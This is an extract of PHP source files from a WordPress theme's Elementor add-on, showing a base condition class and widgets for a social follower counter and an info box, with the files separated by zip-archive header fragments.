			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		$this->end_controls_section();
	}
}
PK     0w\	  	    elementor/base/condition.phpnu [        <?php

namespace PenciSoledadElementor\Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Condition {

	/**
	 * @var Module_Base
	 */
	protected static $_instances = [];

	protected $element_id;

	/**
	 * @return string of the current module class name
	 * @since 5.3.0
	 */
	public static function class_name() {
		return get_called_class();
	}

	/**
	 * @return static
	 */
	public static function instance() {
		if ( empty( static::$_instances[ static::class_name() ] ) ) {
			static::$_instances[ static::class_name() ] = new static();
		}

		return static::$_instances[ static::class_name() ];
	}

	/**
	 * Defaults to true
	 * @return bool if current condition is supported
	 * @since  5.3.0
	 */
	public static function is_supported() {
		return true;
	}

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 * @since  5.3.0
	 */
	public function get_name() {
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 * @since  5.3.0
	 */
	public function get_title() {
	}

	/**
	 * Get the control name
	 * @return string as per condition control name
	 * @since  5.3.0
	 */
	public function get_name_control() {
		return false;
	}

	/**
	 * Get the control value
	 * @return string as per condition control value
	 * @since  5.3.0
	 */
	public function get_value_control() {
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 * @since 5.3.0
	 */
	public function check( $relation, $val ) {
	}

	/**
	 * Compare conditions.
	 * Calls compare method
	 *
	 * @param mixed $left_val First value to compare.
	 * @param mixed $right_val Second value to compare.
	 * @param string $relation Comparison operator.
	 *
	 * @return bool
	 * @since 5.3.0
	 *
	 */
	public function compare( $left_val, $right_val, $relation ) {
		switch ( $relation ) {
			case 'is':
				return $left_val == $right_val;
			case 'not':
				return $left_val != $right_val;
			default:
				return $left_val === $right_val;
		}
	}

	/**
	 * Set Condition Element ID
	 * Set the element ID for this condition
	 * @return string
	 * @since  5.3.0
	 */
	public function set_element_id( $id ) {
		$this->element_id = $id;
	}

	/**
	 * Get Condition Element ID
	 * Returns the previously set element id
	 * @return string
	 * @since  5.3.0
	 */
	protected function get_element_id() {
		return $this->element_id;
	}
}
PK     0w\]}%  %  1  elementor/modules/penci-social-counter/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSocialCounter;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-social-counter';
	}

	public function get_widgets() {
		return array( 'PenciSocialCounter' );
	}
}
PK     0w\lGZ  Z  G  elementor/modules/penci-social-counter/widgets/penci-social-counter.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSocialCounter\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSocialCounter extends Base_Widget {

	public function get_name() {
		return 'penci-social-counter';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Social Counter', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'social counter' );
	}


	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'source', array(
			'label'   => __( 'Select Data Source', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'counter',
			'options' => array(
				'counter'    => esc_html__( 'Social Counter', 'soledad' ),
				'customizer' => esc_html__( 'Social Customizer (no counter)', 'soledad' ),
			)
		) );

		$this->add_control( 'app_id', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note</span>: You need to setup data for socials sharing via <strong>Dashboard > Soledad > Social Counter</strong> to get the counter number work.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'app_id_2', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<span style="color: red;font-weight: bold;">Note</span>: You need to fill out social media URL <strong>Apperance > Customize > Social Media</strong>.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => [ 'source' => 'customizer' ]
		) );

		$this->add_control( 'hide_count', array(
			'label'     => __( 'Hide Counter Data & Show Social Name?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'social_style', array(
			'label'   => __( 'Select Pre-Build Design', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 's1',
			'options' => array(
				's1' => esc_html__( 'Style 1', 'soledad' ),
				's2' => esc_html__( 'Style 2', 'soledad' ),
				's3' => esc_html__( 'Style 3', 'soledad' ),
				's4' => esc_html__( 'Style 4', 'soledad' ),
			)
		) );

		$this->add_control( 'fill', array(
			'label'   => __( 'Filled or Bordered Style?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'border',
			'options' => array(
				'fill'   => esc_html__( 'Filled', 'soledad' ),
				'border' => esc_html__( 'Bordered', 'soledad' ),
			)
		) );

		$this->add_control( 'shape', array(
			'label'   => __( 'Shape', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'rectangle',
			'options' => array(
				'rectangle' => esc_html__( 'Rectangle', 'soledad' ),
				'round'     => esc_html__( 'Round', 'soledad' ),
				'circle'    => esc_html__( 'Circle', 'soledad' ),
			)
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Select Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Select Columns for Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'mobile_column', array(
			'label'     => __( 'Select Columns for Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'social_style!' => array( 's4' ) ),
		) );

		$this->add_control( 'color_style', array(
			'label'   => __( 'Colors Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => array(
				'custom'    => esc_html__( 'Custom Color', 'soledad' ),
				'brandbg'   => esc_html__( 'Brands Background Color', 'soledad' ),
				'brandtext' => esc_html__( 'Brands Icons Color', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'hospace', array(
			'label'     => __( 'Horizontal Spacing Between Social Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-wrapper' => '--pcsoc-space: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'verspace', array(
			'label'     => __( 'Vertical Spacing Between Social Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-wrapper' => '--pcsoc-bspace: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'customizer_s3_style', array(
			'label'      => __( 'Custom Height for Social Icon', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'source',
						'value' => 'customizer',
					),
					array(
						'name'  => 'social_style',
						'value' => 's3',
					)
				)
			),
			'selectors'  => array(
				'{{WRAPPER}} .pcsoc-wrapper.pcsocs-s3 .pcsoc-item' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_showhide', array(
			'label'     => esc_html__( 'Show/Hide Social Icons', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [ 'source' => 'counter' ]
		) );

		$pmetas = array(
			'facebook'   => array( 'label' => __( 'Facebook', 'soledad' ), 'default' => 'yes' ),
			'twitter'    => array( 'label' => __( 'Twitter', 'soledad' ), 'default' => 'yes' ),
			'youtube'    => array( 'label' => __( 'Youtube', 'soledad' ), 'default' => 'yes' ),
			'instagram'  => array( 'label' => __( 'Instagram', 'soledad' ), 'default' => '' ),
			'pinterest'  => array( 'label' => __( 'Pinterest', 'soledad' ), 'default' => '' ),
			'flickr'     => array( 'label' => __( 'Flickr', 'soledad' ), 'default' => '' ),
			'vimeo'      => array( 'label' => __( 'Vimeo', 'soledad' ), 'default' => '' ),
			'soundcloud' => array( 'label' => __( 'SoundCloud', 'soledad' ), 'default' => '' ),
			'behance '   => array( 'label' => __( 'Behance', 'soledad' ), 'default' => '' ),
			'vk'         => array( 'label' => __( 'VK', 'soledad' ), 'default' => '' ),
			'tiktok'     => array( 'label' => __( 'Tiktok', 'soledad' ), 'default' => '' ),
			'twitch'     => array( 'label' => __( 'Twitch', 'soledad' ), 'default' => '' ),
			'rss'        => array( 'label' => __( 'RSS', 'soledad' ), 'default' => '' ),
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control( 'social_' . $key, array(
				'label'       => $pmeta['label'],
				'type'        => Controls_Manager::SWITCHER,
				'label_on'    => __( 'Show', 'soledad' ),
				'label_off'   => __( 'Hide', 'soledad' ),
				'default'     => $pmeta['default'],
				'separator'   => '',
				'description' => __( 'Setup ' . esc_attr( $pmeta['label'] ) . ' counter data <a target="_blank" href="' . esc_url( admin_url( 'admin.php?page=penci_social_counter_settings#tab-' . $key ) ) . '">here</a>.' ),
			) );
		}

		$this->end_controls_section();

		$this->start_controls_section( 'section_showhide_customizer', array(
			'label'     => esc_html__( 'Show/Hide Social Icons', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [ 'source' => 'customizer' ]
		) );

		$socials_profile = penci_social_media_array();
		$custom_social_icons = get_option( 'penci_custom_socials', array() );
		foreach ( $socials_profile as $name => $data ) {
			$default = in_array( $name, [ 'facebook', 'twitter', 'youtube', 'instagram' ] ) ? 'yes' : '';
			$this->add_control( 'social_profile_' . $name, array(
				'label'     => ucwords( isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => $default,
				'separator' => '',
			) );
		}

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_content_style', array(
			'label' => __( 'Social Items Settings', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'style_des', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => __( 'Please note that: If you selected to use Brands Background Color or Brands Icons Color, some colors options below can not apply.', 'soledad' ),
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_responsive_control( 'counter_item_icon_size', [
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 500,
					'step' => 1,
				],
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsoc-icon i' => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}} .pcsocs-s3 i'  => 'line-height: {{SIZE}}px;',
			],
		] );

		$this->add_control( 'bgcl', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-icon' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-icon' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'hbgcl', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item:hover'             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item:hover'             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bordercl', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'fill' => 'border' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-icon' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-icon' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'borderhcl', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'fill' => 'border' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsocs-s1 .pcsoc-item:hover'             => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s3 .pcsoc-item:hover'             => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'textcl', array(
			'label'     => __( 'Icons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item i' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'texthcl', array(
			'label'     => __( 'Icons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover i' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'countcl', array(
			'label'     => __( 'Counter Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-counter' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'counthcl', array(
			'label'     => __( 'Counter Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-counter' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'fanscl', array(
			'label'     => __( '"Fans" Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item .pcsoc-fan' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'fanshcl', array(
			'label'     => __( '"Fans" Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-fan' => 'color: {{VALUE}};',
			),
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_control( 'followcl', array(
			'label'     => __( '"Follow" Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item .pcsoc-like' => 'color: {{VALUE}};',
			),
			'condition' => [ 'social_style' => 's2' ]
		) );

		$this->add_control( 'followhcl', array(
			'label'     => __( '"Follow" Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-like' => 'color: {{VALUE}};',
			),
			'condition' => [ 'social_style' => 's2' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_number',
			'label'     => __( 'Number Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-counter',
			'condition' => [ 'source' => 'counter' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_infotext',
			'label'     => __( 'Info Text Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-fan, {{WRAPPER}} .pcsoc-like',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'counter_item_typo_name',
			'label'     => __( 'Social Name Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-socname',
		) );

		$this->add_control( 'socialname_cl', array(
			'label'     => __( 'Social Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-socname' => 'color: {{VALUE}};',
			),
		) );
		
		$this->add_control( 'socialname_hvcl', array(
			'label'     => __( 'Social Name Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsoc-item:hover .pcsoc-counter.pcsoc-socname,{{WRAPPER}} .pcsoc-item:hover .pcsoc-socname' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'use_shadow', array(
			'label'     => __( 'Use Shadow?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'separator' => 'before'
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'shadow',
			'label'     => __( 'Box Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsocshadow .pcsc-brandflag',
			'condition' => array( 'use_shadow' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class     = 'penci-block-vc penci-social-counter';
		$wrapper_class = 'pcsoc-wrapper';
		$social_style  = isset( $settings['social_style'] ) && $settings['social_style'] && in_array( $settings['social_style'], array(
			's1',
			's2',
			's3',
			's4'
		) ) ? $settings['social_style'] : 's1';
		$fill          = $settings['fill'] ? $settings['fill'] : 'border';
		$shape         = $settings['shape'] ? $settings['shape'] : 'rectangle';
		$color_style   = $settings['color_style'] ? $settings['color_style'] : 'custom';
		$brand_class   = $brand_class_icon = '';
		if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
			$brand_class_icon = ' pcsc-brandflag';
		} else if ( in_array( $social_style, array( 's1', 's3' ) ) ) {
			$brand_class = ' pcsc-brandflag';
		}

		$wrapper_class .= ' pcsocs-' . $social_style;
		$wrapper_class .= ' pcsocf-' . $fill;
		$wrapper_class .= ' pcsocs-' . $shape;
		$wrapper_class .= ' pcsoccl-' . $color_style;

		if ( 's4' != $social_style ) {
			$column_default        = in_array( $social_style, array( 's3' ) ) ? '3' : '1';
			$column                = $settings['column'] ? $settings['column'] : $column_default;
			$tab_column_default    = in_array( $social_style, array( 's3' ) ) ? 'default' : '1';
			$mobile_column_default = in_array( $social_style, array( 's3' ) ) ? '2' : '1';
			$tab_column            = $settings['tab_column'] ? $settings['tab_column'] : $tab_column_default;
			$mobile_column         = $settings['mobile_column'] ? $settings['mobile_column'] : $mobile_column_default;
			$wrapper_class         .= ' pcsocc-' . $column;
			$wrapper_class         .= ' pcsocc-tabcol-' . $tab_column;
			$wrapper_class         .= ' pcsocc-mocol-' . $mobile_column;
		}

		if ( 'yes' == $settings['use_shadow'] ) {
			$wrapper_class .= ' pcsocshadow';
		}
		?>
        <div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $settings['source'] ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="<?php echo $wrapper_class; ?>">
				<?php
				if ( 'counter' == $settings['source'] ) {
					$socials = array(
						'facebook',
						'twitter',
						'youtube',
						'instagram',
						'pinterest',
						'flickr',
						'vimeo',
						'soundcloud',
						'behance ',
						'vk',
						'tiktok',
						'twitch',
						'rss',
					);


					foreach ( $socials as $social ) {


						if ( empty( $settings[ 'social_' . $social ] ) ) {
							continue;
						}

						$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

						$social_info_name = $social_info['name'] ?? '';

						if ( ! $social_info || ! $social_info_name ) {
							continue;
						}
						if ( 'tiktok' === $social ) {
							$count = $social_info['count'];
						} else {
							$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
						}

						$count = $count ? $count : '';

						$social_icon     = $social_info['icon'];
						$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
						$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
						$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
						?>
                        <div class="pcsoc-item-wrap">
                            <a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?><?php if ( ! $count ) {
								echo ' empty-count';
							} ?>" href="<?php echo esc_url( $social_url ); ?>"
                               target="_blank" <?php echo penci_reltag_social_icons(); ?>>
                                <span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
								<?php if ( $count && 'yes' != $settings['hide_count'] ) { ?>
                                    <span class="pcsoc-counter"><?php echo $count; ?></span>
                                    <span class="pcsoc-fan"><?php echo $social_follower; ?></span>
								<?php } else { ?>
                                    <span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
								<?php } ?>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
                                    <span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
                            </a>
                        </div>
						<?php
					}
				} else {
					$socials = penci_social_media_array();
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					foreach ( $socials as $social => $sdata ) {

						if ( empty( $settings[ 'social_profile_' . $social ] ) ) {
							continue;
						}

						$social_icon   = penci_icon_by_ver( $sdata[1] );
						$social_follow = penci_get_setting( 'penci_trans_follow' );
						$social_url    = esc_url( do_shortcode( $sdata[0] ) );
						$name = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
						?>
                        <div class="pcsoc-item-wrap">
                            <a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
                               href="<?php echo esc_url( $social_url ); ?>"
                               target="_blank" <?php echo penci_reltag_social_icons(); ?>>
                                <span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
                                <span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
								<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
                                    <span class="pcsoc-like"><?php echo $social_follow; ?></span>
								<?php } ?>
                            </a>
                        </div>
						<?php
					}
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     0w\u[  [  +  elementor/modules/penci-info-box/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciInfoBox;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-info-box';
	}

	public function get_widgets() {
		return array( 'PenciInfoBox' );
	}
}
PK     0w\^K  K  ;  elementor/modules/penci-info-box/widgets/penci-info-box.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciInfoBox\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Controls_Manager;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciInfoBox extends Base_Widget {

	public function get_name() {
		return 'penci-info-box';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Info Box', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image-box';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'icon', 'box', 'info', 'icon box' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_icon', array(
				'label' => __( 'Info Box', 'soledad' ),
			)
		);
		$this->add_control(
			'icon_type', array(
				'label'   => __( 'Icon type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'icon'  => __( 'Icon', 'soledad' ),
					'image' => __( 'Image', 'soledad' ),
					'svg'   => __( 'SVG', 'soledad' ),
					'text'  => __( 'Text', 'soledad' ),
				),
				'default' => 'icon',
			)
		);
		$this->add_control( 'svg_tips', array(
			'type'            => Controls_Manager::RAW_HTML,
			'raw'             => '<strong style="color: #93003c;">Tips:</strong> You can download many nice free SVG icons via <a target="_blank" href="https://www.flaticon.com/">this website</a> and use them for your website.',
			'content_classes' => 'elementor-descriptor',
			'condition'       => array( 'icon_type' => 'svg' ),
		) );
		$this->add_control(
			'icon', array(
				'label'       => __( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICON,
				'default'     => 'fas fa-star',
				'label_block' => true,
				'condition'   => array( 'icon_type' => 'icon' ),
			)
		);

		$this->add_control(
			'image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'default'   => array( 'url' => Utils::get_placeholder_image_src() ),
				'condition' => array( 'icon_type' => 'image' ),
			)
		);
		$this->add_control(
			'image_hover',
			array(
				'label'     => __( 'Choose Image Hover', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => array( 'icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'image_size', array(
				'label'     => __( 'Custom Image Size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'thumbnail',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'icon_type' => 'image' ),
			)
		);

		$this->add_control(
			'image_bd_radius',
			array(
				'label'     => __( 'Image Border Radius', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'condition' => array( 'icon_type' => 'image' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box.penci-shape-circle .penci-ibox-icon--image' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_responsive_control(
			'image_bd_w',
			array(
				'label'     => __( 'Image Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'condition' => array( 'icon_type' => 'image' ),
				'default' => [
					'unit' => 'px',
				],
				'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ],
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-info-box.penci-shape-circle .penci-ibox-icon--image' => 'width: 100%;max-width: {{SIZE}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'csvg', array(
				'label'     => __( 'Icon or SVG', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'solid',
				],
				'condition' => array( 'icon_type' => 'svg' ),
			)
		);
		$this->add_control(
			'ctext', array(
				'label'     => __( 'Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '01',
				'condition' => array( 'icon_type' => 'text' ),
			)
		);

		$this->add_control(
			'icon_view', array(
				'label'     => __( 'View', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'default',
				'condition' => array( 'icon_type' => array( 'icon', 'svg', 'text' ) ),
				'options'   => array(
					'default' => esc_html__( 'Default', 'soledad' ),
					'stacked' => esc_html__( 'Stacked', 'soledad' ),
					'framed'  => esc_html__( 'Framed', 'soledad' )
				)
			)
		);
		$this->add_control(
			'icon_shape', array(
				'label'     => __( 'Shape', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'circle',
				'condition' => array( 'icon_view' => array( 'stacked', 'framed' ) ),
				'options'   => array(
